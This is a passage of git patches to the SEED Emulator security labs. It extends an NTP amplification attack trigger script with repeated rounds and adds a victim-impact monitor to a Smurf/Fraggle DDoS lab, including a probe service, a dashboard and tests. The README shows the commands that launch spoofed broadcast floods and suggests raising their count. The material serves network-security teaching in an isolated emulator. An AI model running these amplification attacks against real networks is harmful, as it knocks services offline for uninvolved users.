6000)}}' {}".format( VICTIM_LOG, VICTIM_LOG, ), diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.py b/examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.py index 07b5c440d..3cac3a067 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.py +++ b/examples/yesterday_once_more/Y10_ntp_amplification/trigger_attack.py @@ -22,9 +22,18 @@ def parse_args() -> argparse.Namespace: parser.add_argument("--token", default="seedemu-lab", help="reflection token configured on amplifiers") parser.add_argument("--victim", default="10.151.0.71", help="victim IP for reflection mode") parser.add_argument("--victim-port", type=int, default=9000, help="victim UDP port for reflection mode") + parser.add_argument( + "--rounds", + type=int, + default=1, + help="number of attack rounds; each round contacts every amplifier once", + ) parser.add_argument("--timeout", type=float, default=2.0) parser.add_argument("--json", action="store_true", help="print machine-readable results") - return parser.parse_args() + args = parser.parse_args() + if args.rounds < 1: + parser.error("--rounds must be at least 1") + return args def send_direct_query(sock: socket.socket, target: str, port: int, trigger: str, timeout: float) -> Dict[str, object]: @@ -71,14 +80,30 @@ def main() -> int: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) results: List[Dict[str, object]] = [] - for amplifier in amplifiers: - if args.reflect: - results.append(send_reflection_request(sock, amplifier, args.port, args)) - else: - results.append(send_direct_query(sock, amplifier, args.port, args.trigger, args.timeout)) + try: + for round_number in range(1, args.rounds + 1): + for amplifier in amplifiers: + if args.reflect: + result = send_reflection_request(sock, amplifier, args.port, args) + else: + result = send_direct_query(sock, amplifier, args.port, args.trigger, args.timeout) + result["round"] = round_number + results.append(result) + finally: + sock.close() if args.json: - print(json.dumps({"results": results}, indent=2, sort_keys=True)) + print( + json.dumps( + { + "rounds": args.rounds, + "amplifiers_per_round": len(amplifiers), + "results": results, + }, + indent=2, + sort_keys=True, + ) + ) else: for item in results: print(item) From 606b89132837d71b01081f51ca1ee3d3ee74a3b2 Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sun, 19 Jul 2026 10:52:49 +0800 Subject: [PATCH 23/33] added the dos impact visualization --- .../Y11_smurf_fraggle_attack/README.md | 33 +++-- .../Y11_smurf_fraggle_attack/emulator.py | 29 ++++- .../Y11_smurf_fraggle_attack/test_runtime.py | 38 +++++- .../traffic_visualizer_config.json | 6 +- .../traffic_visualizer_extension.css | 85 +++++++++++++ .../traffic_visualizer_extension.js | 92 +++++++++++++- tools/TrafficVisualizer/README.md | 49 +++++++- tools/TrafficVisualizer/health_probe.py | 69 +++++++++++ tools/TrafficVisualizer/traffic_visualizer.py | 114 +++++++++++++++++- .../TrafficVisualizer/victim_http_service.py | 51 ++++++++ 10 files changed, 538 insertions(+), 28 deletions(-) create mode 100644 tools/TrafficVisualizer/health_probe.py create mode 100644 tools/TrafficVisualizer/victim_http_service.py diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md index bff95bf85..d97bcf96e 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md @@ -21,6 +21,8 @@ reply to the spoofed victim address. - Attacker: AS150 `host_0`. - Victim: AS151 `host_0`. The default victim's address is: `10.151.0.71` +- Legitimate client: AS153 `host_0`. It probes the victim's HTTP service once + per second and reports latency and failures to Traffic Visualizer. - AS152 `router0`: vulnerable router with directed broadcast forwarding enabled. - AS152 `host_0` ... `host_N`: amplifier hosts that respond to broadcast pings and run the UDP Fraggle amplifier daemon. @@ -41,7 +43,7 @@ python ./emulator.py --platform amd To change the number of amplifier hosts on the AS152 LAN: ```sh -python ./emualtor.py --platform amd --target-hosts 30 +python ./emulator.py --platform amd --target-hosts 30 ``` The generated Docker files are placed in the`output` folder. We can go to this folder, build the container images and start the emulator. @@ -54,11 +56,13 @@ The best way to see the attack effect is from the victim's point of view. This e Traffic Visualizer web application on the victim container. It starts automatically and passively captures incoming attack traffic with `tcpdump`. -The shared server and base dashboard are loaded from `tools/TrafficVisualizer`. -This example owns its capture configuration and a small frontend extension that -labels the Smurf and Fraggle modes, identifies the amplifier LAN, and shows the -average observed IP packet size. The dashboard is published on the host at the -following URL. Open this address in a browser. +The shared server, base dashboard, synthetic HTTP service, and health probe are +loaded from `tools/TrafficVisualizer`. This example owns their addresses, +startup wiring, capture configuration, thresholds, and a frontend extension +that presents the Smurf/Fraggle-specific results. AS151 runs the independent +HTTP service on port `8000`. AS153 probes it once per second, then submits the +observed latency or failure to Traffic Visualizer. The dashboard is published +on the host at the following URL. Open this address in a browser. ```text http://localhost:8081 @@ -78,14 +82,23 @@ docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ /opt/demo/trigger_attack.sh --mode fraggle --count 3 ``` -The visualization shows matching packet and IP-layer byte totals, values observed during the -previous second, and an animation whose density and marker size reflect the recent traffic. Its -API is also available inside the victim container: +The visualization shows matching packet and IP-layer byte totals, values +observed during the previous second, and an animation whose density and marker +size reflect the recent traffic. The Victim Impact panel separately shows the +legitimate service's current latency, recent success rate, failures, and a +30-sample timeline. A rising cyan bar means a slower response; a red bar means +the probe failed. Its APIs are also available inside the victim container: ```text http://127.0.0.1:8080/api/stats +http://127.0.0.1:8080/api/impact ``` +The default three-packet commands demonstrate amplification but may not consume +enough resources to degrade the HTTP service on a fast host. To experiment with +service impact, increase `--count` gradually while watching the impact panel. +Keep the emulator isolated and stop once the intended effect is visible. + Internet Map is still useful for seeing packets move through the topology, but the victim dashboard makes the key lesson clearer: a small number of spoofed requests can cause many hosts to send replies to the victim. @@ -214,6 +227,8 @@ The runtime test verifies: - AS152 hosts run the bounded UDP Fraggle amplifier daemon; - the victim receives multiple UDP replies after the attacker sends spoofed UDP requests to `10.152.0.255:19`. +- AS151 runs the legitimate HTTP service and AS153 runs the external probe; +- Traffic Visualizer receives health measurements from the probe. ## Safety diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py index ab83e1fc0..6d6db8500 100755 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py @@ -24,6 +24,7 @@ ATTACKER_HOST = (150, "host_0") VICTIM_HOST = (151, "host_0") +LEGITIMATE_CLIENT_HOST = (153, "host_0") TARGET_ASN = 152 TARGET_ROUTER = "router0" TARGET_NETWORK = "net0" @@ -32,6 +33,7 @@ TRAFFIC_VISUALIZER_HOST_PORT = 8081 TRAFFIC_VISUALIZER_CONTAINER_PORT = 8080 FRAGGLE_PORT = 19 +VICTIM_SERVICE_PORT = 8000 def parse_args() -> argparse.Namespace: @@ -144,6 +146,7 @@ def configure_victim(host: Node) -> None: install_file(host, "smurf_monitor.py", "smurf_monitor.py") install_file(host, "fraggle_monitor.py", "fraggle_monitor.py") install_file(host, "visualize_attack.py", "visualize_attack.py") + install_traffic_visualizer_file(host, "victim_http_service.py") install_traffic_visualizer_file(host, "traffic_visualizer.py") install_traffic_visualizer_file(host, "dashboard.html") install_file(host, "traffic_visualizer_config.json", "traffic_visualizer/config.json") @@ -161,7 +164,13 @@ def configure_victim(host: Node) -> None: host.appendStartCommand(f"mkdir -p {TRAFFIC_VISUALIZER_DIR}") host.appendStartCommand( f"chmod +x {SMURF_DIR}/smurf_monitor.py {SMURF_DIR}/fraggle_monitor.py " - f"{SMURF_DIR}/visualize_attack.py {TRAFFIC_VISUALIZER_DIR}/traffic_visualizer.py" + f"{SMURF_DIR}/visualize_attack.py {TRAFFIC_VISUALIZER_DIR}/victim_http_service.py " + f"{TRAFFIC_VISUALIZER_DIR}/traffic_visualizer.py" + ) + host.appendStartCommand( + f"python3 {TRAFFIC_VISUALIZER_DIR}/victim_http_service.py --port {VICTIM_SERVICE_PORT} " + ">> /var/log/victim-http-service.log 2>&1", + fork=True, ) host.appendStartCommand( f"python3 {TRAFFIC_VISUALIZER_DIR}/traffic_visualizer.py " @@ -173,9 +182,26 @@ def configure_victim(host: Node) -> None: host.appendClassName("SmurfVictim") host.appendClassName("FraggleVictim") host.appendClassName("TrafficVisualizer") + host.appendClassName("VictimHttpService") host.setDisplayName("Victim") +def configure_legitimate_client(host: Node) -> None: + host.addSoftware("python3") + prepare_smurf_dir(host) + install_traffic_visualizer_file(host, "health_probe.py") + host.appendStartCommand(f"chmod +x {TRAFFIC_VISUALIZER_DIR}/health_probe.py") + host.appendStartCommand( + f"python3 {TRAFFIC_VISUALIZER_DIR}/health_probe.py " + f"--target http://10.151.0.71:{VICTIM_SERVICE_PORT}/health " + f"--report-to http://10.151.0.71:{TRAFFIC_VISUALIZER_CONTAINER_PORT}/api/impact " + ">> /var/log/victim-health-probe.log 2>&1", + fork=True, + ) + host.appendClassName("LegitimateClient") + host.setDisplayName("Legitimate-Client") + + def customize_b00_for_smurf(emu: Emulator, target_hosts: int, hosts_per_as: int) -> None: if target_hosts < hosts_per_as: raise ValueError("--target-hosts must be greater than or equal to --hosts-per-as") @@ -184,6 +210,7 @@ def customize_b00_for_smurf(emu: Emulator, target_hosts: int, hosts_per_as: int) configure_directed_broadcast_router(get_router(emu, TARGET_ASN, TARGET_ROUTER)) configure_attacker(get_host(emu, *ATTACKER_HOST)) configure_victim(get_host(emu, *VICTIM_HOST)) + configure_legitimate_client(get_host(emu, *LEGITIMATE_CLIENT_HOST)) target_as = get_base(emu).getAutonomousSystem(TARGET_ASN) for index in range(target_hosts): diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/test_runtime.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/test_runtime.py index 673dee58b..85f406b4e 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/test_runtime.py +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/test_runtime.py @@ -16,6 +16,7 @@ def main() -> int: attacker = test.require_service(150, "host_0", "AS150 attacker host is generated") victim = test.require_service(151, "host_0", "AS151 victim host is generated") + legitimate_client = test.require_service(153, "host_0", "AS153 legitimate client is generated") amplifier0 = test.require_service(152, "host_0", "AS152 amplifier host_0 is generated") amplifier11 = test.require_service(152, "host_11", "AS152 amplifier host_11 is generated") target_router = test.require_service(152, "router0", "AS152 directed-broadcast router is generated") @@ -52,7 +53,7 @@ def main() -> int: "victim starts ICMP reply monitor", victim, "rm -f {out} {log}; " - "(python3 /opt/smurf-lab/smurf_monitor.py --duration 8 --output {out} > {log} 2>&1 &) ; " + "(python3 /opt/demo/smurf_monitor.py --duration 8 --output {out} > {log} 2>&1 &) ; " "sleep 1".format(out=MONITOR_OUTPUT, log=MONITOR_LOG), retries=1, interval=1, @@ -60,7 +61,7 @@ def main() -> int: test.exec_check( "attacker sends spoofed ICMP requests to AS152 directed broadcast", attacker, - "/opt/smurf-lab/trigger_attack.sh --count 3 --interval 0.2", + "/opt/demo/trigger_attack.sh --count 3 --interval 0.2", retries=10, interval=2, ) @@ -78,7 +79,7 @@ def main() -> int: "victim starts UDP reply monitor", victim, "rm -f {out} {log}; " - "(python3 /opt/smurf-lab/fraggle_monitor.py --duration 8 --port 7000 --output {out} > {log} 2>&1 &) ; " + "(python3 /opt/demo/fraggle_monitor.py --duration 8 --port 7000 --output {out} > {log} 2>&1 &) ; " "sleep 1".format(out=FRAGGLE_MONITOR_OUTPUT, log=FRAGGLE_MONITOR_LOG), retries=1, interval=1, @@ -86,7 +87,7 @@ def main() -> int: test.exec_check( "attacker sends spoofed UDP requests to AS152 directed broadcast", attacker, - "/opt/smurf-lab/trigger_attack.sh --mode fraggle --count 3 --interval 0.2 --source-port 7000", + "/opt/demo/trigger_attack.sh --mode fraggle --count 3 --interval 0.2 --source-port 7000", retries=10, interval=2, ) @@ -102,6 +103,35 @@ def main() -> int: interval=1, ) + if victim: + test.exec_check( + "victim runs the legitimate HTTP service", + victim, + "pgrep -f '/opt/demo/traffic_visualizer/victim_http_service.py' >/dev/null", + retries=30, + interval=3, + ) + + if legitimate_client: + test.exec_check( + "AS153 runs the external victim health probe", + legitimate_client, + "pgrep -f '/opt/demo/traffic_visualizer/health_probe.py' >/dev/null", + retries=30, + interval=3, + ) + + if victim and legitimate_client: + test.exec_check( + "Traffic Visualizer receives legitimate-client health samples", + victim, + "python3 -c \"import json,urllib.request; " + "d=json.load(urllib.request.urlopen('http://127.0.0.1:8080/api/impact')); " + "assert d['sample_count'] >= 2, d\"", + retries=30, + interval=2, + ) + test.write_summary("y11-smurf-attack-runtime-test.json") return test.exit_code() diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_config.json b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_config.json index c998b0a7e..0939dc34d 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_config.json +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_config.json @@ -3,6 +3,7 @@ "capture_filter": "src net 10.152.0.0/24 and (icmp or udp)", "web_host": "0.0.0.0", "web_port": 8080, + "impact_max_samples": 60, "frontend": { "title": "Smurf and Fraggle Attack", "subtitle": "Replies arriving at the victim from the amplifier LAN", @@ -10,7 +11,10 @@ "extension_js": "traffic_visualizer_extension.js", "extension_css": "traffic_visualizer_extension.css", "options": { - "amplifier_network": "AS152 · 10.152.0.0/24" + "amplifier_network": "AS152 / 10.152.0.0/24", + "impact_latency_warning_ms": 150, + "impact_stale_seconds": 4, + "impact_chart_max_ms": 500 } } } diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.css b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.css index b3713145f..18b925dc1 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.css +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.css @@ -6,3 +6,88 @@ font-size: 18px; line-height: 1.35; } + +.impact-panel { + margin-top: 14px; + padding: 20px; + border: 1px solid #293a50; + border-radius: 12px; + background: #0d1929; +} + +.impact-heading { + display: flex; + align-items: center; + justify-content: space-between; + gap: 16px; +} + +.impact-heading strong { + display: block; + margin-top: 5px; + font-size: 20px; +} + +.impact-status { + padding: 7px 11px; + border: 1px solid currentColor; + border-radius: 999px; + font-size: 12px; + font-weight: 800; + letter-spacing: .08em; +} + +.impact-status.healthy { color: #4ade80; background: #052e1a; } +.impact-status.degraded { color: #facc15; background: #352a05; } +.impact-status.unreachable { color: #f87171; background: #3f1010; } +.impact-status.waiting { color: #94a3b8; background: #172033; } + +.impact-metrics { + display: grid; + grid-template-columns: repeat(3, 1fr); + gap: 10px; + margin: 18px 0; +} + +.impact-metrics > div { + padding: 14px; + border-radius: 9px; + background: #121f32; +} + +.impact-metrics strong { + display: block; + margin-top: 6px; + color: var(--accent); + font-size: 22px; +} + +.timeline-label { + margin-bottom: 8px; +} + +.probe-timeline { + display: flex; + align-items: end; + gap: 3px; + height: 72px; + padding: 8px; + border-radius: 8px; + background: #081321; +} + +.probe-sample { + flex: 1; + min-width: 3px; + max-width: 18px; + border-radius: 3px 3px 1px 1px; +} + +.probe-sample.success { background: #22d3ee; } +.probe-sample.failure { background: #ef4444; } +.timeline-empty { margin: auto; color: #64748b; font-size: 13px; } + +@media (max-width: 560px) { + .impact-metrics { grid-template-columns: 1fr; } + .impact-heading { align-items: flex-start; } +} diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.js b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.js index c1b77cb82..fee895b84 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.js +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.js @@ -1,5 +1,65 @@ (() => { let averageSize; + let serviceStatus; + let serviceLatency; + let serviceSuccessRate; + let serviceFailures; + let serviceTimeline; + let impactConfig; + + function setStatus(label, className) { + serviceStatus.textContent = label; + serviceStatus.className = `impact-status ${className}`; + } + + function showWaiting() { + setStatus('WAITING', 'waiting'); + serviceLatency.textContent = '--'; + serviceSuccessRate.textContent = '--'; + serviceFailures.textContent = '0'; + serviceTimeline.replaceChildren(); + const message = document.createElement('span'); + message.className = 'timeline-empty'; + message.textContent = 'Waiting for the legitimate client'; + serviceTimeline.appendChild(message); + } + + function updateImpact(impact) { + if (!impact || !impact.sample_count) { + showWaiting(); + return; + } + + const isStale = impact.last_probe_age_seconds > impactConfig.impact_stale_seconds; + const latencyIsHigh = impact.latest_latency_ms >= impactConfig.impact_latency_warning_ms; + if (isStale) { + setStatus('UNREACHABLE', 'unreachable'); + } else if (impact.latest_success === false) { + setStatus('FAILED', 'unreachable'); + } else if (impact.success_rate < 100 || latencyIsHigh) { + setStatus('DEGRADED', 'degraded'); + } else { + setStatus('HEALTHY', 'healthy'); + } + + serviceLatency.textContent = impact.latest_latency_ms === null + ? 'Timeout' + : `${impact.latest_latency_ms.toFixed(1)} ms`; + serviceSuccessRate.textContent = `${impact.success_rate.toFixed(1)}%`; + serviceFailures.textContent = String(impact.failure_count); + + serviceTimeline.replaceChildren(); + impact.samples.slice(-30).forEach((sample) => { + const bar = document.createElement('i'); + bar.className = sample.success ? 'probe-sample success' : 'probe-sample failure'; + const percent = sample.success + ? Math.max(6, Math.min(sample.latency_ms / impactConfig.impact_chart_max_ms, 1) * 100) + : 100; + bar.style.height = `${percent}%`; + bar.title = sample.success ? `${sample.latency_ms.toFixed(1)} ms` : 'Failed'; + serviceTimeline.appendChild(bar); + }); + } TrafficVisualizer.registerExtension({ mount({root, config}) { @@ -21,15 +81,45 @@
Average observed IP packet
0 B
- `; + +
+
+
+
Victim impact
+ Legitimate HTTP service +
+ WAITING +
+
+
Current latency--
+
Recent success--
+
Failures0
+
+
Recent probes (higher is slower; red is failed)
+
+
`; + + impactConfig = { + impact_latency_warning_ms: Number(config.impact_latency_warning_ms) || 150, + impact_stale_seconds: Number(config.impact_stale_seconds) || 4, + impact_chart_max_ms: Number(config.impact_chart_max_ms) || 500, + }; root.querySelector('#broadcast-network').textContent = config.amplifier_network; averageSize = root.querySelector('#broadcast-average-size'); + serviceStatus = root.querySelector('#impact-status'); + serviceLatency = root.querySelector('#impact-latency'); + serviceSuccessRate = root.querySelector('#impact-success-rate'); + serviceFailures = root.querySelector('#impact-failures'); + serviceTimeline = root.querySelector('#impact-timeline'); + showWaiting(); }, update(stats, {formatBytes}) { averageSize.textContent = formatBytes(stats.average_ip_packet_size); + updateImpact(stats.impact); }, reset() { averageSize.textContent = '0 B'; + showWaiting(); }, }); })(); diff --git a/tools/TrafficVisualizer/README.md b/tools/TrafficVisualizer/README.md index 1fd970c29..4e03f5148 100644 --- a/tools/TrafficVisualizer/README.md +++ b/tools/TrafficVisualizer/README.md @@ -6,9 +6,9 @@ web browser. Byte counts use the IPv4 Total Length field, so they include the IP header, transport header, and payload. The tool is intentionally kept outside the `seedemu` Python package while it is -being developed. Examples load `traffic_visualizer.py` and `dashboard.html` -directly from this directory and copy them into their victim containers. This -means those examples must be run from a SEED Emulator source checkout. +being developed. Examples load the shared files they need directly from this +directory and copy them into their containers. This means those examples must +be run from a SEED Emulator source checkout. ## Container requirements @@ -59,15 +59,52 @@ extension area so the generic counters continue to update. This small contract lets an example add attack-specific explanations or derived values without forking the capture agent or dashboard. -The emulator script should copy the two shared files and its configuration into -the container, install Python and `tcpdump`, start `traffic_visualizer.py`, and -optionally publish the configured web port on the host. +The emulator script should copy `traffic_visualizer.py`, `dashboard.html`, and +its configuration into the victim container, install Python and `tcpdump`, +start the visualizer, and optionally publish the configured web port on the +host. + +## Optional victim-impact tools + +Two additional shared programs measure whether legitimate clients can still +use a service during an attack: + +- `victim_http_service.py` is a small synthetic service for examples that do + not already have a suitable application to probe. +- `health_probe.py` runs on a separate legitimate-client node, measures any + configured HTTP URL, and submits each result to Traffic Visualizer. + +For example: + +```sh +python3 victim_http_service.py --port 8000 + +python3 health_probe.py \ + --target http://10.151.0.71:8000/health \ + --report-to http://10.151.0.71:8080/api/impact +``` + +The synthetic service is optional. An example with a real HTTP application can +point `health_probe.py` at that application instead. Target addresses, probe +intervals, warning thresholds, container placement, and frontend presentation +remain example-owned configuration. ## HTTP endpoints - `/` - dashboard - `/api/stats` - current packet counters - `/api/config` - frontend metadata and extension options +- `/api/impact` - current legitimate-client health measurements; accepts probe samples with `POST` - `/api/reset` - reset counters with an HTTP `POST` - `/extension.js` and `/extension.css` - optional example-owned assets - `/healthz` - capture process status + +An external health probe can submit a successful measurement with: + +```json +{"success": true, "latency_ms": 12.4} +``` + +For a timeout or connection failure, it submits `{"success": false}`. The +rolling impact snapshot is included in `/api/stats`, allowing example frontend +extensions to correlate attack traffic with legitimate-service health. diff --git a/tools/TrafficVisualizer/health_probe.py b/tools/TrafficVisualizer/health_probe.py new file mode 100644 index 000000000..a8f868f82 --- /dev/null +++ b/tools/TrafficVisualizer/health_probe.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python3 +"""Probe an HTTP service externally and report its health to Traffic Visualizer.""" + +from __future__ import annotations + +import argparse +import json +import time +from urllib.error import HTTPError, URLError +from urllib.request import Request, urlopen + + +def measure(target: str, timeout: float) -> dict[str, object]: + started = time.monotonic() + try: + with urlopen(target, timeout=timeout) as response: + response.read() + success = response.status == 200 + except (HTTPError, URLError, OSError, TimeoutError): + success = False + + if not success: + return {"success": False} + return { + "success": True, + "latency_ms": round((time.monotonic() - started) * 1000, 2), + } + + +def report(destination: str, sample: dict[str, object], timeout: float) -> None: + body = json.dumps(sample).encode("utf-8") + request = Request( + destination, + data=body, + headers={"Content-Type": "application/json"}, + method="POST", + ) + with urlopen(request, timeout=timeout) as response: + response.read() + + +def main() -> int: + parser = argparse.ArgumentParser(description="Measure access to an HTTP service.") + parser.add_argument("--target", required=True, help="HTTP URL to probe") + parser.add_argument("--report-to", required=True, help="Traffic Visualizer /api/impact URL") + parser.add_argument("--interval", type=float, default=1.0) + parser.add_argument("--timeout", type=float, default=0.8) + args = parser.parse_args() + if args.interval <= 0 or args.timeout <= 0: + parser.error("--interval and --timeout must be greater than zero") + + try: + while True: + cycle_started = time.monotonic() + sample = measure(args.target, args.timeout) + try: + report(args.report_to, sample, args.timeout) + except (HTTPError, URLError, OSError, TimeoutError) as error: + print(f"could not report health sample: {error}", flush=True) + remaining = args.interval - (time.monotonic() - cycle_started) + if remaining > 0: + time.sleep(remaining) + except KeyboardInterrupt: + pass + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tools/TrafficVisualizer/traffic_visualizer.py b/tools/TrafficVisualizer/traffic_visualizer.py index b5444b29f..8b491a4ad 100644 --- a/tools/TrafficVisualizer/traffic_visualizer.py +++ b/tools/TrafficVisualizer/traffic_visualizer.py @@ -4,12 +4,15 @@ from __future__ import annotations import argparse +from collections import deque from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer import json +import math from pathlib import Path import re import subprocess import threading +import time from typing import Any from urllib.parse import urlparse @@ -79,6 +82,71 @@ def snapshot(self) -> dict[str, Any]: } +class ImpactTracker: + """Store a short rolling window of externally measured service health.""" + + def __init__(self, max_samples: int = 60) -> None: + if max_samples < 1: + raise ValueError("impact_max_samples must be at least 1") + self.lock = threading.Lock() + self.samples: deque[dict[str, Any]] = deque(maxlen=max_samples) + + def record(self, payload: dict[str, Any]) -> None: + success = payload.get("success") + if not isinstance(success, bool): + raise ValueError("success must be a boolean") + + latency = payload.get("latency_ms") + if success: + if ( + not isinstance(latency, (int, float)) + or isinstance(latency, bool) + or not math.isfinite(latency) + or latency < 0 + ): + raise ValueError("a successful probe requires a non-negative latency_ms") + latency = round(float(latency), 2) + else: + latency = None + + sample = { + "timestamp_ms": round(time.time() * 1000), + "success": success, + "latency_ms": latency, + } + with self.lock: + self.samples.append(sample) + + def reset(self) -> None: + with self.lock: + self.samples.clear() + + def snapshot(self) -> dict[str, Any]: + with self.lock: + samples = list(self.samples) + + successful = [sample for sample in samples if sample["success"]] + latest = samples[-1] if samples else None + return { + "sample_count": len(samples), + "failure_count": len(samples) - len(successful), + "success_rate": round(len(successful) * 100 / len(samples), 1) if samples else 0, + "latest_success": latest["success"] if latest else None, + "latest_latency_ms": latest["latency_ms"] if latest else None, + "average_latency_ms": ( + round(sum(sample["latency_ms"] for sample in successful) / len(successful), 2) + if successful + else None + ), + "last_probe_age_seconds": ( + round(max(0, time.time() - latest["timestamp_ms"] / 1000), 2) + if latest + else None + ), + "samples": samples, + } + + def capture_packets(config: dict[str, Any], counter: PacketCounter) -> None: command = [ "tcpdump", @@ -130,7 +198,10 @@ def make_handler( frontend_config: dict[str, Any], extension_js: bytes, extension_css: bytes, + impact_tracker: ImpactTracker | None = None, ): + impact = impact_tracker or ImpactTracker() + class Handler(BaseHTTPRequestHandler): def do_GET(self) -> None: # noqa: N802 path = urlparse(self.path).path @@ -143,7 +214,11 @@ def do_GET(self) -> None: # noqa: N802 elif path == "/api/config": self._send_json(200, {"api_version": 1, "frontend": frontend_config}) elif path == "/api/stats": - self._send_json(200, counter.snapshot()) + stats = counter.snapshot() + stats["impact"] = impact.snapshot() + self._send_json(200, stats) + elif path == "/api/impact": + self._send_json(200, impact.snapshot()) elif path == "/healthz": status = 200 if counter.status != "error" else 503 self._send_json(status, {"status": counter.status}) @@ -151,11 +226,21 @@ def do_GET(self) -> None: # noqa: N802 self._send_json(404, {"error": "not found"}) def do_POST(self) -> None: # noqa: N802 - if urlparse(self.path).path != "/api/reset": - self._send_json(404, {"error": "not found"}) + path = urlparse(self.path).path + if path == "/api/impact": + try: + impact.record(self._read_json()) + except (ValueError, json.JSONDecodeError) as error: + self._send_json(400, {"error": str(error)}) + return + self._send_json(200, {"status": "recorded"}) return - counter.reset() - self._send_json(200, {"status": "reset"}) + if path == "/api/reset": + counter.reset() + impact.reset() + self._send_json(200, {"status": "reset"}) + return + self._send_json(404, {"error": "not found"}) def log_message(self, _format: str, *_args: Any) -> None: pass @@ -164,6 +249,15 @@ def _send_json(self, status: int, payload: dict[str, Any]) -> None: body = json.dumps(payload).encode("utf-8") self._send(status, "application/json; charset=utf-8", body) + def _read_json(self) -> dict[str, Any]: + content_length = int(self.headers.get("Content-Length", "0")) + if content_length < 1 or content_length > 4096: + raise ValueError("request body must be between 1 and 4096 bytes") + payload = json.loads(self.rfile.read(content_length)) + if not isinstance(payload, dict): + raise ValueError("request body must be a JSON object") + return payload + def _send(self, status: int, content_type: str, body: bytes) -> None: self.send_response(status) self.send_header("Content-Type", content_type) @@ -212,6 +306,7 @@ def main() -> int: dashboard = Path(args.dashboard).read_bytes() frontend_config, extension_js, extension_css = load_frontend(config, config_path) counter = PacketCounter() + impact_tracker = ImpactTracker(int(config.get("impact_max_samples", 60))) threading.Thread(target=capture_packets, args=(config, counter), daemon=True).start() threading.Thread(target=sample_each_second, args=(counter,), daemon=True).start() @@ -219,7 +314,14 @@ def main() -> int: address = (str(config.get("web_host", "0.0.0.0")), int(config.get("web_port", 8080))) server = ThreadingHTTPServer( address, - make_handler(counter, dashboard, frontend_config, extension_js, extension_css), + make_handler( + counter, + dashboard, + frontend_config, + extension_js, + extension_css, + impact_tracker, + ), ) print(f"Traffic Visualizer listening on http://{address[0]}:{address[1]}", flush=True) try: diff --git a/tools/TrafficVisualizer/victim_http_service.py b/tools/TrafficVisualizer/victim_http_service.py new file mode 100644 index 000000000..64fd866b8 --- /dev/null +++ b/tools/TrafficVisualizer/victim_http_service.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python3 +"""Reusable synthetic HTTP service for denial-of-service demonstrations.""" + +from __future__ import annotations + +import argparse +from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer +import json +from typing import Any +from urllib.parse import urlparse + + +class Handler(BaseHTTPRequestHandler): + def do_GET(self) -> None: # noqa: N802 + if urlparse(self.path).path != "/health": + self._send_json(404, {"error": "not found"}) + return + self._send_json(200, {"status": "ok"}) + + def log_message(self, _format: str, *_args: Any) -> None: + pass + + def _send_json(self, status: int, payload: dict[str, Any]) -> None: + body = json.dumps(payload).encode("utf-8") + self.send_response(status) + self.send_header("Content-Type", "application/json; charset=utf-8") + self.send_header("Content-Length", str(len(body))) + self.send_header("Cache-Control", "no-store") + self.end_headers() + self.wfile.write(body) + + +def main() -> int: + parser = argparse.ArgumentParser(description="Run a synthetic victim HTTP service.") + parser.add_argument("--host", default="0.0.0.0") + parser.add_argument("--port", type=int, default=8000) + args = parser.parse_args() + + server = ThreadingHTTPServer((args.host, args.port), Handler) + print(f"Victim HTTP service listening on {args.host}:{args.port}", flush=True) + try: + server.serve_forever() + except KeyboardInterrupt: + pass + finally: + server.server_close() + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) From d8c3719fa0873142ce58b32e6ab5de8723d69bf3 Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sun, 19 Jul 2026 11:37:28 +0800 Subject: [PATCH 24/33] added more hosts --- .../Y11_smurf_fraggle_attack/README.md | 11 +++++++++ .../Y11_smurf_fraggle_attack/emulator.py | 23 +++++++++++++++++-- 2 files changed, 32 insertions(+), 2 deletions(-) diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md index d97bcf96e..57af2a68c 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md @@ -46,6 +46,17 @@ To change the number of amplifier hosts on the AS152 LAN: python ./emulator.py --platform amd --target-hosts 30 ``` +B00's default address assignment range for hosts is `10.152.0.71` through 